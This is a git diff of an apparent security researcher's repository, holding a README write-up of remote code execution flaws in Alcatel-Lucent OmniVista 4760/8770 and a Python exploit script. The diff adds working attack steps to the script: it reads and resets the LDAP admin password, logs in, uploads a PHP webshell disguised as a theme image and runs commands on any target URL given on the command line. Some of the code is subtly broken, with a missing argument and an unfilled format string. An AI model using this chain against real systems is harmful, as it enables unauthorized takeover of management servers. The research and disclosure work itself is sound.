diff --git a/README.md b/README.md index 17665d5..e7c8546 100755 --- a/README.md +++ b/README.md @@ -1,27 +1,27 @@ # Alcatel-Lucent Omnivista 4760/8770 RCE 0day ### Tldr * *4760* suffers an unauthenticated remote code execution as SYSTEM. No special configuration is required - * *8770* and **4760* suffers a remote administrative password dislclosure, no special configuration required - * *8770* suffer an authenticated remote code execution vulnerability. When chained with the disclosure vulnerability, it becomes a unauth RCE. In this case access to the port 389 and a directory license is required + * *8770* and *4760* both suffer a remote administrative password dislclosure. No special configuration required + * *8770* suffer an authenticated remote code execution vulnerability. When chained with the disclosure vulnerability, it becomes an unauth RCE. In this case access to the port 389 and a directory license are required ## Previous work * https://www.cvedetails.com/cve/CVE-2007-5190/ * https://github.com/malerisch/omnivista-8770-unauth-rce ## Intro -I did noticed this software a while ago while doing a penetration test. It captured my attention because it had a php interface which seemed very old a not greatly designed (not only graphically). As shown in the previous section, there wasn't any known vulnerability in this component. I wasn't unable to find any useful vulnerability with the source code, but only a few hints: +I did noticed this software a while ago while doing a penetration test. It captured my attention because it had a php interface which seemed very old a not greatly designed (not only graphically). As shown in the previous section, there wasn't any known vulnerability in this component. I wasn't unable to find any useful vulnerability without the source code, but only a few hints: * Exposed error log in `/log/error.log/` * Error log showed LDAP errors when trying special characters in login and search forms * Error log showed failed `unserialize()` calls while decoding the `bookmarks`, the `themes` or the `cfilter` cookie -The LDAP injection didn't look too promising and while it *might* be possible to extract the hashed passwords I wasn't looking into that. I was more curious about the `unserialize()` calls but without having any clue about the PHP code behind I decided to not waste any more time and get the source code. +The LDAP injection didn't look too promising and while it *might* be possible to extract the hashed passwords I wasn't looking into that. I was more curious about the `unserialize()` calls but without any clue about the PHP code behind I decided to not waste any more time and try to get a copy of the whole software. ## Versions * *4760* very old and deprecated * *8770* currently updated and sold -## The hardest part... Getting the source code +## The hardest part... Getting a copy Unfortunately the OmniVista 4760/8770 software is not easy to get as a researcher. It is distributed as a CD/DVD only to legitimate companies via local Alcatel-Lucent partners. I had a bit of experience in looking for not easily available softwares: 1. Get the file name (CD name) or any component name. It can be often found in online documentation, sometimes on the manufacturer website but most often on manuals uploaded by random users, for example on Scribd. Other resources includes dedicated forums, in this case [https://www.alcatelunleashed.com/](https://www.alcatelunleashed.com/). @@ -29,14 +29,15 @@ I had a bit of experience in looking for not easily available softwares: 3. Look on 4shared.com :) https://www.4shared.com/rar/HsteugXy/A4760_R500702b.html (while the search function is not much powerful, sorting by size helps a lot) ## Unpacking it -Since the 4760 is an ancient product I fired up a Windows XP virtual machine and tried installing it. Like it happens most of the time with enterprise software, the install failed and neither the main services were set up properly nor any PHP files was extracted. Part of the files were packed with the ancient ACE file format, probbly with some custom modifications, and even binwalk couldn't do much. -When i started getting frustrated with all this ancient enteprisise crap, i finally found the PHP files inside a CAB archive. But unpleasant surprises are not finished because the files are Zend Encoded and can't be seimply read. +Since the 4760 is an ancient product I fired up a Windows XP virtual machine and tried installing it. Like it happens most of the time with enterprise software, the installation failed and neither the main services were set up properly nor any PHP files was extracted. Part of the files were packed with the ancient ACE file format, probbly with some custom modifications, and even binwalk couldn't do much. +When i started getting frustrated with all this ancient enteprisise crap, i finally found the PHP files inside a CAB archive. ## Vulnerbilities ### 4760 pre auth RCE -Info.php + +_info.php_ ``` ``` -The following two functions are used to get POST and DATA variable as well as to to manage SESSION. -utils.php +The following two functions are used to get POST and GET variables as well as to to manage SESSION. + +_utils.php_ ``` function varform($nom) { @@ -99,8 +101,9 @@ function sessionform($nom) return $var; } ``` -As we can see the following code checks for the users permissions before showing the page to edit a template. -EditThemeAction.php +As we can see the following code checks for the users permissions before showing the page used to edit a template. + +_EditThemeAction.php_ ``` `. Each theme folder contains a `params.st` file which contains a serialized PHP Object containing the theme configuration. However, as seen below, the authentication and permission check is not performed when actually saving an edit. The only condition that might be a problem is the `CompareThemeDate()`, which compares the last edit time of the `params.st` file with the value saved in session in the code above (`$MyG["themeDate"] = $skin->GetLastMDate()`). This check, intended or not, prevent an unauthenticated user to perfor the save, unless in the destination folder a `params.st` file is not yet present. -SaveThemeAction.php + +_SaveThemeAction.php_ ``` ``` The final pieces of vulnerable code are in -SkinAccess.php + +_SkinAccess.php_ ``` class SkinAccess { @@ -310,6 +315,7 @@ Unfortunately, while all the previous vulnerabilities do work even when a "Direc ## Other issues * Multipele calls to unserialize on untrusted data: + ``` unserialize(gzuncompress($MyG["themes"])); unserialize(gzuncompress($_COOKIE["station"])); @@ -317,4 +323,5 @@ Unfortunately, while all the previous vulnerabilities do work even when a "Direc unserialize(gzuncompress($MyG["bookmarks"])); ``` I did not find an exploitable chain but: all the PHP version shipped with this product have multiple unserialize CVE and I did not find a way but it is possible to play with the COM class. + * LDAP injections? \ No newline at end of file diff --git a/omnivista.py b/omnivista.py index 16b9329..5aec131 100755 --- a/omnivista.py +++ b/omnivista.py @@ -1,6 +1,7 @@ import requests import socket import ldap +import sys from urllib.parse import urlparse from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) @@ -69,8 +70,35 @@ class OmniVista: connect = ldap.initialize('ldap://' + self.addr) connect.set_option(ldap.OPT_REFERRALS, 0) connect.simple_bind_s(self.username, self.password) - result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE) - print(result) + result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)') + print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0])) + self.bind = connect + return True + + def editadminpassword(self): + self.adminusername = "AdminNmc" + self.adminpassword = "Lsdcat_exploit1!" + self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )]) + return True + + def login(self): + self.session = requests.session() + r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False) + if 'Directory license is required!' in r.text: + return False + else: + return True + + def exploit8770(self): + r = self.session.post(self.host + 'php-bin/webclient.php', + data = {"action": "saveTheme", "themeId": "2"}, + files = { "BgImg1": (self.filename, self.webshell, "image/png")}, + verify = False) + if 'success' in r.text: + return True + + def exec8770(self): + return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text def exploit4760(self): for folder in self.folders: @@ -103,7 +131,17 @@ class OmniVista: if self.checkldap(): print('[*] LDAP Service is accessible!') self.connectldap() - print("Stuff here") + print('[*] Changing AdminNmc password') + self.editadminpassword() + print('[*] Logging in') + if self.login(): + self.exploit8770() + output = self.exec8770("whoami") + print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename)) + print('[*] Command output: '.format(output)) + else: + print("[x] Directory license not installed :/") + return False else: print("[x] LDAP Service is not directly accessible") return False @@ -112,5 +150,8 @@ class OmniVista: print("[x] Target is not an OmniVista 4760/8770") return False -#exploit = OmniVista('') -#exploit.autoexploit() +if len(sys.argv) != 2: + print("Usage: ./omnivista.py http(s)://target.tld") +else: + exploit = OmniVista(sys.argv[1]) + exploit.autoexploit()